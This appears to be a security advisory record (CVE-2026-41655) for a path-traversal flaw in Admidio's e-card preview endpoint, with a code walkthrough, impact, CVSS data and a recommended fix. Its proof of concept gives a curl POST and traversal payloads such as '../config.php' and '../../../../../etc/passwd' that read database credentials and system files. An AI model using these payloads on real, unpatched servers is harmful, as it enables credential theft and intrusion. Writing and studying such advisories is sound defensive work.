{"id":"CVE-2026-41655","aliases":["GHSA-m3vp-3jjm-gpmx"],"url":"https://o3.security/vulnerability/CVE-2026-41655","summary":"Admidio: Path Traversal in ECard Preview Allows Reading Arbitrary Server Files Including Database Credentials","details":"## Summary\n\nThe `ecard_preview.php` endpoint does not validate that the `ecard_template` POST parameter is a safe filename before passing it to `ECard::getEcardTemplate()`. An authenticated user can supply a path traversal payload (e.g., `../config.php`) to read arbitrary files accessible to the web server process, including `adm_my_files/config.php` which contains database credentials.\n\n## Details\n\n**Root Cause:** The `ecard_template` parameter is a select box whose value is only sanitized via `strStripTags()` during form validation, which does not restrict path traversal characters. Unlike `ecard_send.php` which explicitly validates the template name as a safe filename, `ecard_preview.php` omits this check entirely.\n\n**Code Path:**\n\n1. `modules/photos/ecards.php:143-152` — The form creates a select box with template filenames from `adm_my_files/ecard_templates/`. The form object is stored in the session.\n\n2. `modules/photos/ecard_preview.php:33-34` — The POST request is validated against the stored form object:\n```php\n$categoryEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);\n$formValues = $categoryEditForm->validate($_POST);\n```\n\n3. `src/UI/Presenter/FormPresenter.php:2190-2243` — The `validate()` method applies `StringUtils::strStripTags()` to all values and performs type-specific checks for `captcha`, `date`, `editor`, `email`, `number`, `url`, and `uuid` — but has **no validation case for select box values**. The attacker-controlled value `../config.php` passes through unchanged.\n\n4. `modules/photos/ecard_preview.php:48` — The unvalidated value is passed directly to `getEcardTemplate()`:\n```php\n$ecardDataToParse = $funcClass->getEcardTemplate($formValues['ecard_template']);\n```\n\n5. `src/Photos/ValueObject/ECard.php:67-77` — The filename is concatenated into the path and opened:\n```php\npublic function getEcardTemplate(string $tplFilename, string $tplFolder = ''): ?string\n{\n    if ($tplFolder === '') {\n        $tplFolder = ADMIDIO_PATH . FOLDER_DATA . '/ecard_templates/';\n    }\n    // ...\n    $fileHandle = @fopen($tplFolder . $tplFilename, 'rb');\n```\n\nWith `$tplFilename = '../config.php'`, this resolves to `ADMIDIO_PATH/adm_my_files/ecard_templates/../config.php` → `ADMIDIO_PATH/adm_my_files/config.php`.\n\n**Why `ecard_send.php` is NOT vulnerable:** At line 35, it independently validates the template name:\n```php\n$postTemplateName = admFuncVariableIsValid($_POST, 'ecard_template', 'file', array('requireValue' => true));\n```\nThis calls `strIsValidFileName()` which checks `basename($filename) !== $filename`, blocking any path traversal. The preview endpoint lacks this check.\n\n## PoC\n\n```bash\n# Step 1: Log in and visit the ecard form to create a session with a form object\n# Navigate to: /modules/photos/ecards.php?photo_uuid=<valid_album_uuid>&photo_nr=1\n# Extract the adm_csrf_token from the rendered form HTML\n\n# Step 2: Send path traversal payload to read config.php (contains DB credentials)\ncurl -b 'PHPSESSID=<session_cookie>' \\\n  -X POST 'https://target/modules/photos/ecard_preview.php' \\\n  -d 'adm_csrf_token=<csrf_token>&ecard_template=../config.php&ecard_message=test&photo_uuid=<valid_uuid>&photo_nr=1&submit_action=preview'\n\n# The response body will contain the contents of adm_my_files/config.php\n# rendered inside the ecard preview HTML, including:\n#   $g_adm_srv (database host)\n#   $g_adm_db  (database name)\n#   $g_adm_usr (database username)\n#   $g_adm_pw  (database password)\n\n# To traverse further outside adm_my_files:\n# ecard_template=../../system/bootstrap/constants.php  (reads PHP source)\n# ecard_template=../../../../../etc/passwd              (reads system files)\n```\n\n## Impact\n\n- **Database credential disclosure:** Any authenticated user can read `adm_my_files/config.php`, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise.\n- **Source code disclosure:** Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets.\n- **System file disclosure:** With sufficient traversal depth (`../../../../../etc/passwd`), system files can be read, aiding further attacks.\n- **Low barrier to exploit:** Only requires a regular member account — no admin privileges needed.\n\n## Recommended Fix\n\nAdd filename validation to `ecard_preview.php` before passing the template name to `getEcardTemplate()`, matching the validation already present in `ecard_send.php`:\n\n```php\n// In modules/photos/ecard_preview.php, add BEFORE line 48:\n$postTemplateName = admFuncVariableIsValid(\n    $formValues, 'ecard_template', 'file', array('requireValue' => true)\n);\n$ecardDataToParse = $funcClass->getEcardTemplate($postTemplateName);\n```\n\nAlternatively, add select box value validation to `FormPresenter::validate()` to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application:\n\n```php\n// In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate():\ncase 'select':\n    if (isset($element['values']) && !array_key_exists($fieldValues[$element['id']], $element['values'])) {\n        throw new Exception('SYS_FIELD_INVALID_INPUT', array($element['label']));\n    }\n    break;\n```","published":"2026-05-07T02:55:37.512Z","modified":"2026-08-12T03:51:42.487101366Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},"epss":{"score":0.00307,"percentile":0.23196,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"admidio/admidio","fixedVersion":"5.0.9"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/releases/tag/v5.0.9"},{"type":"ADVISORY","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-m3vp-3jjm-gpmx"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41655.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41655"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:42.487101366Z"}}